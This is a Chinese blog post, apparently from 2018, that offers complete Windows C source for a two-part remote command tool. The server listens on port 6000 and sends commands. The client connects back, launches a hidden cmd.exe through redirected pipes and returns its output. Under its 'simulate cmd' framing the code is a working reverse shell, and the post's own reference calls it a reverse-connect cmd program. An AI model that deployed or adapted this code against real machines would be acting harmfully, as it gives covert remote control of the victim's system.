模拟实现cmd命令的执行,不说废话,依然所有描述都在注释里面
/* * by:initm.com 转载请注明出处 * Date:2018/11/18 * 这段程序可以在远程模拟cmd的执行,我第一次看到双管道模拟这个思路是在 * https://bbs.csdn.net/topics/392135870 * 这个帖子,验证也可行的,因为要做远程的模拟,昨天恰好看到了一片文章在写这个, * 但是原文章代码貌似有一丢丢小问题,所以呢改吧了一下,发出来如果有需要请拿去. */ //头文件要加好 #include <WinSock2.h> #include <WS2Tcpip.h> //注意上面的两个头文件一定要放在上面,别问我为什么. #include <stdio.h> #include <string.h> #include <windows.h> #include <process.h> //这个头文件可以去我的另外一篇文章http://blog.initm.com/print-debug-infomation-tool.shtml找 #include "dt.h" #pragma comment(lib, "ws2_32.lib") #define BUFF_SIZE 1024 //这个宏用来确定是编译服务端还是编译客户端 //#define SERVER #ifdef SERVER //服务端接收客户端打印信息的线程,和标准输出交互,服务端看到的文字就是这个线程打印的 VOID __cdecl ReceiveThread(LPVOID lpParm) { SOCKET socketNew = (SOCKET)lpParm; while (TRUE) { CHAR receiveBuffer[BUFF_SIZE]; INT len = recv(socketNew, receiveBuffer, BUFF_SIZE, 0); if (SOCKET_ERROR == len) { closesocket(socketNew); DE("socket error ..."); return ; } receiveBuffer[len] = 0; printf("%s", receiveBuffer); } } //服务端发送命令的线程,这个线程和标准输入交互,将接收到的命令发送到客户端 VOID __cdecl SendThread(LPVOID lpParm) { SOCKET socketNew = (SOCKET)lpParm; char sendBuffer[BUFF_SIZE]; while (TRUE) { ZeroMemory(sendBuffer, BUFF_SIZE); fgets(sendBuffer, BUFF_SIZE, stdin); if (SOCKET_ERROR == send(socketNew, sendBuffer, strlen(sendBuffer), 0)) { DE("Send Error"); return ; } } } //新连接到来,创建接收和发送的线程 VOID __cdecl SocketThread(LPVOID lpParm) { _beginthread(ReceiveThread, NULL, lpParm); _beginthread(SendThread, NULL, lpParm); } int main(int argc, char* argv[]) { WORD myVersionRequest = 0; WSADATA wsData; memset(&wsData, 0 , sizeof(wsData)); myVersionRequest = MAKEWORD(2, 2); int err = WSAStartup(myVersionRequest, &wsData); if (!err) { DT("Open socket success!\n"); } else { DE("Open socket error!\n"); return 1; } SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN addr; addr.sin_family = AF_INET; addr.sin_addr.S_un.S_addr = htonl(INADDR_ANY);//ip地址,绑定所有的 addr.sin_port = htons(6000);//绑定端口 if (SOCKET_ERROR == bind(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR))) { WSACleanup(); DE("bind error!\n"); return 2; } if (SOCKET_ERROR == listen(sock, 1)) { WSACleanup(); DE("listen error!\n"); return 3; } SOCKADDR_IN clientSocket; memset(&clientSocket, 0, sizeof(clientSocket)); int len = sizeof(SOCKADDR); while (TRUE) { SOCKET sockNew = accept(sock, (SOCKADDR*)&clientSocket, &len); DT("new connection is coming...\n"); _beginthread(SocketThread, NULL, (LPVOID)sockNew); } closesocket(sock); WSACleanup(); return 0; } #else //保存管道的句柄,因为其他函数要用,所以定义成全局的 //hStdOutRead 用来读取新创建cmd进程的标准输出 //hStdInWrite 用来往新创建cmd进程的标准输入里写数据 HANDLE hStdOutRead = NULL, hStdInWrite = NULL; //创建两个管道,分别对应cmd进程的标准输入和标准输出 BOOL CreateTwoPipe() { HANDLE hStdInRead = NULL, hStdOutWrite = NULL; SECURITY_ATTRIBUTES saIn, saOut; saIn.nLength = sizeof(saIn); saIn.bInheritHandle = TRUE; saIn.lpSecurityDescriptor = NULL; BOOL bRes = CreatePipe(&hStdInRead, &hStdInWrite, &saIn, 0); if (!bRes) { DE("Client CreatePipeIn error!"); return FALSE; } saOut.nLength = sizeof(saOut); saOut.bInheritHandle = TRUE; saOut.lpSecurityDescriptor = NULL; bRes = CreatePipe(&hStdOutRead,&hStdOutWrite, &saOut, 0); if (!bRes) { DE("Client CreatePipeOut error!"); return FALSE; } STARTUPINFO si; ZeroMemory(&si, sizeof(si)); //这两个标志就是说使用si中的wShowWindow标记和hStdInput hStdOutput hStdError标记 //说白了就是隐藏cmd窗口和重定向标准输入输出 si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdInput = hStdInRead; si.hStdOutput = hStdOutWrite; si.hStdError = hStdOutWrite; TCHAR szCmdLine[] = _T("cmd.exe"); PROCESS_INFORMATION pi; bRes = CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); if (!bRes) { DE("Client CreateProcess error!"); return FALSE; } //子进程用, 父进程就关掉就可以了 CloseHandle(hStdInRead); CloseHandle(hStdOutWrite); return TRUE; } //从管道中读取标准输出的数据,然后send给服务端 void ReadOutPutReadCmd(LPVOID lpParm) { BYTE buffer[BUFF_SIZE] = { 0 }; int ret = 0; DWORD dwByteRecv = 0; SOCKET clientSocket = (SOCKET)lpParm; while (TRUE) { dwByteRecv = 0; ZeroMemory(buffer, sizeof(buffer)); if (!ReadFile(hStdOutRead, buffer, BUFF_SIZE, &dwByteRecv, NULL)) { break; } ret = send(clientSocket, (LPCSTR)buffer, dwByteRecv, 0); if (SOCKET_ERROR == ret) { break; } } } int main(int argc, char* argv[]) { WSADATA wsaData; ZeroMemory(&wsaData, sizeof(wsaData)); if (!WSAStartup(MAKEWORD(2, 2), &wsaData)) { DT("Client socket open success!"); } else { DE("Client socket open error!"); return 1; } SOCKET sock = socket(AF_INET, SOCK_STREAM, 0); SOCKADDR_IN addr; in_addr ip; inet_pton(AF_INET, "127.0.0.1", &ip); //这里有一个坑ip.S_un.S_addr,这个变量已经是网络字节序,不需要再做转换 addr.sin_addr.S_un.S_addr = ip.S_un.S_addr; addr.sin_family = AF_INET; addr.sin_port = htons(6000); if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&addr, sizeof(SOCKADDR))) { DE("Client connect error!"); return 2; } if (!CreateTwoPipe()) { DE("Client CreatePipe error!"); return 3; } INT nByteRecv = 0; char clientBuffer[BUFF_SIZE] = { 0 }; //创建读取输出的线程 _beginthread(ReadOutPutReadCmd, 0, (LPVOID)sock); while (TRUE) { ZeroMemory(clientBuffer, BUFF_SIZE); nByteRecv = recv(sock, clientBuffer, BUFF_SIZE, 0); if (SOCKET_ERROR == nByteRecv) { break; } printf("recv:%s", clientBuffer); //往管道里面写入数据 DWORD dwWriteSize = 0; if (!WriteFile(hStdInWrite, clientBuffer, nByteRecv, &dwWriteSize, NULL)) { DE("Client WriteFile error !"); break; } } CloseHandle(hStdInWrite); CloseHandle(hStdOutRead); closesocket(sock); WSACleanup(); return 0; } #endif
参考:
双管道cmd反弹程序https://blog.csdn.net/hjxyshell/article/details/50572532